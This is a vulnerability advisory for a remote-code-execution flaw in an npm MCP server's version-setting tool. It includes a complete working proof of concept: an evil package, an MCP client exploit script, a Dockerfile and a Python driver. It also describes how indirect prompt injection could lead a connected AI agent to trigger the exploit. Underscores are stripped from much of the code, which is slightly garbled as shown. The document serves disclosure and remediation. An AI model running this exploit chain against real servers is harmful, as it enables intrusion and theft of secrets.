CVE-2026-59176: High severity npm/functype-mcp-server vulnerability

MCP setfunctypeversion Package Alias RCE via Unsanitized pnpm install + Dynamic Import

Summary

The setfunctypeversion MCP tool in functype-mcp-server accepts an unconstrained version string, interpolates it directly into an npm package specifier (functype@<version>), and installs it via pnpm add without any validation. Because npm/pnpm package specifiers support file:, npm:, and other alias syntaxes, an attacker who can send an MCP tools/call request to this tool can cause the server to install an arbitrary local or remote package as functype. Immediately after installation, the server calls initDocsData(true), which dynamically imports functype/cli from the newly installed location, executing attacker-controlled JavaScript in the MCP server process. This results in full Remote Code Execution (RCE) with the privileges of the server process — full confidentiality, integrity, and availability impact (CVSS 7.8 High).

Details

The vulnerable code is in packages/mcp-server/src/index.ts. The setfunctypeversion tool is registered at line 115 and is enabled by default (no authentication required in stdio mode).

Source (user input accepted without validation): ts // packages/mcp-server/src/index.ts:119-121 parameters: z.object({ version: z.string().describe('The functype version to install (e.g., "0.46.0", "latest", "^0.45.0")'), }), Only z.string() validation is applied — no semver format check, no allowlist for dist-tags, and no rejection of file:, npm:, URL, or path alias syntaxes.

Sink 1 — arbitrary package installation: ts // packages/mcp-server/src/index.ts:122-125 execute: async (args) => { const spec = functype@${args.version} try { execFileSync("pnpm", ["add", spec], { cwd: PROJECTROOT, stdio: "pipe", timeout: 60000 }) args.version is interpolated into the package specifier string and passed directly to pnpm add. Supplying file:/path/to/evil causes pnpm to install an attacker-controlled directory as the functype package alias.

Sink 2 — dynamic import executes installed package code: ts // packages/mcp-server/src/lib/docs/data.ts:23-30 if (force) { const resolvedPath = require.resolve("functype/cli") cli = await import(${pathToFileURL(resolvedPath).href}?t=${Date.now()}) } initDocsData(true) is called immediately after installation (line 134 in index.ts). It resolves functype/cli from the nodemodules that now points to the attacker's package and dynamically imports it, executing any module-level code in the attacker's cli.js at import time.

Data flow summary: 1. index.ts:115 — MCP tool setfunctypeversion registered, no auth required. 2. index.ts:119-121 — version accepted as raw z.string() (source). 3. index.ts:123 — functype@${args.version} constructed without sanitization. 4. index.ts:125 — execFileSync("pnpm", ["add", spec], ...) installs attacker-controlled package (sink: arbitrary install). 5. index.ts:134 — initDocsData(true) called immediately. 6. data.ts:29-30 — require.resolve("functype/cli") + dynamic import() executes attacker module (sink: RCE).

PoC

Step 1 — Prepare the attacker-controlled evil package: bash mkdir -p /tmp/evil cat > /tmp/evil/package.json <<'EOF' {"name":"evil-functype","version":"1.0.0","type":"module","exports":{"./cli":"./cli.js"}} EOF cat > /tmp/evil/cli.js <<'EOF' import { writeFileSync } from "node:fs"; writeFileSync("/pwned.txt", "RCE: mcp import-time code execution via setfunctypeversion\n"); export const TYPES = {}; export const INTERFACES = {}; export const CATEGORIES = {}; export const FULLINTERFACES = {}; export const VERSION = "1.0.0"; EOF

Step 2 — Clone and build the victim monorepo at the affected version: bash TMP="$(mktemp -d)" git clone https://github.com/jordanburke/functype.git "$TMP/functype" cd "$TMP/functype" git checkout v1.4.3 corepack enable pnpm install --frozen-lockfile pnpm -F functype build pnpm -F functype-mcp-server build

Step 3 — Set up an MCP client to deliver the exploit: bash cd "$TMP" npm init -y npm pkg set type=module npm install @modelcontextprotocol/sdk

cat > exploit.mjs <<'EOF' import { Client } from "@modelcontextprotocol/sdk/client/index.js"; import { StdioClientTransport } from "@modelcontextprotocol/sdk/client/stdio.js";

const client = new Client({ name: "poc", version: "1.0.0" }); const transport = new StdioClientTransport({ command: "node", args: [${process.env.REPO}/packages/mcp-server/dist/bin.js], env: { ...process.env, TRANSPORTTYPE: "stdio" }, });

await client.connect(transport); const result = await client.callTool({ name: "setfunctypeversion", arguments: { version: "file:/tmp/evil" }, }); console.log(result); await client.close(); EOF

REPO="$TMP/functype" node exploit.mjs

Step 4 — Verify arbitrary code execution: bash cat /pwned.txt Expected output: RCE: mcp import-time code execution via setfunctypeversion

Dynamic reproduction (Docker):

The Phase 2 dynamic test used the provided Dockerfile which automates the above steps inside a container. The container confirmed creation of /pwned.txt with the expected payload string, proving end-to-end RCE.

[poc] EXPLOIT SUCCEEDED: /pwned.txt exists [poc] File contents: RCE: mcp import-time code execution via setfunctypeversion [evil-payload] Arbitrary code executed via functype/cli dynamic import

Recommended remediation: diff +const SAFEFUNCTYPEVERSION = /^(?:latest|next|beta|alpha|canary|rc|[~^]?v?\d+(?:\.\d+){0,2}(?:-[0-9A-Za-z.-]+)?(?:\+[0-9A-Za-z.-]+)?)$/ + +const isSafeFunctypeVersion = (version: string): boolean => { + const trimmed = version.trim() + return trimmed === version && SAFEFUNCTYPEVERSION.test(trimmed) && !/[/:\\@]/.test(trimmed) +}

execute: async (args) => { - const spec = functype@${args.version} + if (!isSafeFunctypeVersion(args.version)) { + return "Invalid functype version. Use a semver version, range prefix (^ or ~), or a known dist-tag." + } + const spec = functype@${args.version} try { - execFileSync("pnpm", ["add", spec], { cwd: PROJECTROOT, stdio: "pipe", timeout: 60000 }) + execFileSync("pnpm", ["add", "--ignore-scripts", spec], { cwd: PROJECTROOT, stdio: "pipe", timeout: 60000 })

Impact

This is a Remote Code Execution (RCE) vulnerability. Any MCP client that can invoke the setfunctypeversion tool — which requires no authentication and is enabled by default in the stdio MCP server — can execute arbitrary JavaScript in the MCP server process.

Who is impacted: - Developers and teams running functype-mcp-server (version 1.4.3) in their local or CI environments as an AI coding assistant integration. - Users whose AI assistant (LLM agent) is connected to this MCP server and is susceptible to indirect prompt injection: a malicious document or web page read by the AI could trigger a setfunctypeversion call with a file: or npm: alias payload. - In non-default TRANSPORTTYPE=httpStream deployments, network-accessible attackers can exploit this without local access.

The full impact at exploitation is confidentiality, integrity, and availability — an attacker can read secrets from the process environment, modify files, or crash the server.

Reproduction artifacts

Dockerfile

dockerfile Dockerfile for VULN-001: MCP setfunctypeversion Package Alias RCE Build context: reports/npmAI684jordanburkefunctype/ COPY repo/ -> /workspace/functype/ (victim monorepo) COPY vuln-001/ -> supporting PoC files Build: docker build -t vuln001-functype-rce -f vuln-001/Dockerfile . Run: docker run --rm vuln001-functype-rce Expected exit 0 with "[poc] EXPLOIT SUCCEEDED" in output.

FROM node:24-slim

Install pnpm matching the repo's packageManager field (pnpm@11.7.0). RUN npm install -g pnpm@11.7.0 --quiet

── Victim workspace ────────────────────────────────────────────────────────── WORKDIR /workspace/functype COPY repo/ ./

Install all workspace deps. --no-frozen-lockfile avoids hash mismatches caused by running on a different pnpm minor than the one that generated the lockfile; the installed versions are still constrained by the lockfile specifiers for the packages we care about. RUN pnpm install --no-frozen-lockfile

Build functype first (mcp-server externals functype at build time). RUN pnpm -F functype build

Build the MCP server binary (output: packages/mcp-server/dist/bin.js). RUN pnpm -F functype-mcp-server build

── Attacker-controlled evil package ───────────────────────────────────────── /evil/cli.js writes /pwned.txt when dynamically imported. COPY vuln-001/evil/ /evil/

── MCP exploit client ──────────────────────────────────────────────────────── WORKDIR /client RUN npm init -y --quiet && \ npm pkg set type=module && \ npm install @modelcontextprotocol/sdk@1.29.0 --quiet COPY vuln-001/client/exploit.mjs ./exploit.mjs

Default entrypoint: run the exploit and exit 0 on success. CMD ["node", "/client/exploit.mjs"]

poc.py

python #!/usr/bin/env python3 """ PoC driver for VULN-001: MCP setfunctypeversion Package Alias RCE via Unsanitized pnpm install + Dynamic Import (CWE-829, CVSS 7.8 High).

Attack chain: 1. Attacker calls MCP tool setfunctypeversion with version="file:/evil" 2. Server executes: execFileSync("pnpm", ["add", "functype@file:/evil"], ...) 3. Evil package is installed as the functype alias in mcp-server's nodemodules 4. Server calls initDocsData(true) which resolves functype/cli and dynamic-imports it 5. /evil/cli.js runs at import time -> writes /pwned.txt (arbitrary code execution)

Usage: python3 poc.py [--build-only]

Requirements: - Docker daemon running - Build context at parent directory of this file's directory """

import subprocess import sys import json import os import argparse

VULNDIR = os.path.dirname(os.path.abspath(file)) REPORTDIR = os.path.dirname(VULNDIR) IMAGENAME = "vuln001-functype-rce" DOCKERFILE = os.path.join(VULNDIR, "Dockerfile") RESULTFILE = os.path.join(VULNDIR, "phase2result.json")

BUILDCMD = ["docker", "build", "-t", IMAGENAME, "-f", DOCKERFILE, REPORTDIR] RUNCMD = ["docker", "run", "--rm", IMAGENAME]

def run(cmd, timeout=None, kwargs): """Run a command and return CompletedProcess with combined output.""" return subprocess.run( cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True, timeout=timeout, kwargs, )

def writeresult(passed, verdict, reason, evidence): result = { "passed": passed, "verdict": verdict, "reason": reason, "buildcommand": " ".join(BUILDCMD), "runcommand": " ".join(RUNCMD), "poccommand": f"python3 {os.path.basename(file)}", "evidence": evidence, "artifacts": ["Dockerfile", "poc.py", "evil/package.json", "evil/cli.js", "client/exploit.mjs"], } with open(RESULTFILE, "w", encoding="utf-8") as f: json.dump(result, f, indent=2, ensureascii=False) print(f"[poc] Result written to {RESULTFILE}") print(f"[poc] verdict={verdict} passed={passed}")

def main(): parser = argparse.ArgumentParser(description="VULN-001 PoC driver") parser.addargument("--build-only", action="storetrue", help="Only build the image, do not run") args = parser.parseargs()

# ── Build ───────────────────────────────────────────────────────────────── print("[poc] Building Docker image (this may take a few minutes)...") print(f"[poc] Build command: {' '.join(BUILDCMD)}")

try: build = run(BUILDCMD, timeout=900) except subprocess.TimeoutExpired: msg = "Docker build timed out after 900 seconds" print(f"[poc] ERROR: {msg}") writeresult(False, "INCOMPLETE", f"빌드 타임아웃: {msg}", msg) sys.exit(2)

if build.returncode != 0: tail = (build.stdout + "\n" + build.stderr)[-3000:] print("[poc] Build FAILED:") print(tail) writeresult( False, "FAIL", "Docker 이미지 빌드 실패. pnpm install 또는 TypeScript 빌드 오류 확인 필요.", f"BUILD EXIT {build.returncode}\n{tail}", ) sys.exit(1)

print("[poc] Build succeeded.")

if args.buildonly: print("[poc] --build-only flag set; skipping run.") sys.exit(0)

# ── Run ─────────────────────────────────────────────────────────────────── print(f"[poc] Running exploit container: {' '.join(RUNCMD)}")

try: runresult = run(RUNCMD, timeout=180) except subprocess.TimeoutExpired: msg = "Container run timed out after 180 seconds" print(f"[poc] ERROR: {msg}") writeresult(False, "INCOMPLETE", f"컨테이너 실행 타임아웃: {msg}", msg) sys.exit(2)

stdout = runresult.stdout or "" stderr = runresult.stderr or "" combined = stdout + "\n" + stderr

print("=" 60) print("STDOUT:") print(stdout) print("STDERR:") print(stderr) print(f"EXIT CODE: {runresult.returncode}") print("=" 60)

# Success criteria: exit 0 AND exploit succeeded message present exploitsucceeded = "EXPLOIT SUCCEEDED" in combined passed = runresult.returncode == 0 and exploitsucceeded

if passed: # Extract key evidence lines evidencelines = [ line for line in combined.splitlines() if any(kw in line for kw in ("EXPLOIT SUCCEEDED", "pwned.txt", "evil-payload", "RCE:")) ] evidence = "\n".join(evidencelines) if evidencelines else combined[-1000:]

writeresult( True, "PASS", ( "컨테이너 내 /pwned.txt 생성 확인: MCP setfunctypeversion 도구에 " 'version="file:/evil" 인수를 전달하자 서버가 pnpm add functype@file:/evil을 실행한 후 ' "initDocsData(true)가 동적 import를 통해 evil/cli.js를 실행, 임의 파일 쓰기(RCE)가 발생함." ), evidence, ) print("[poc] === PASS: exploit reproduced ===") sys.exit(0)

else: # Distinguish failure modes if not exploitsucceeded and runresult.returncode == 0: verdict = "INCOMPLETE" reason = ( "/pwned.txt가 생성되지 않았으나 컨테이너는 정상 종료됨. " "pnpm add 후 require.resolve 경로 확인 필요 — pnpm 가상 스토어 구조로 인해 " "nodemodules/functype 심볼릭링크가 예상 위치에 없을 수 있음." ) else: verdict = "FAIL" reason = ( f"컨테이너 종료 코드 {runresult.returncode}. " "exploit.mjs 오류 또는 MCP 서버 시작 실패. 로그 확인 필요." )

writeresult(False, verdict, reason, combined[-2000:]) print(f"[poc] === {verdict}: exploit did not reproduce ===") sys.exit(1)

if name == "main": main()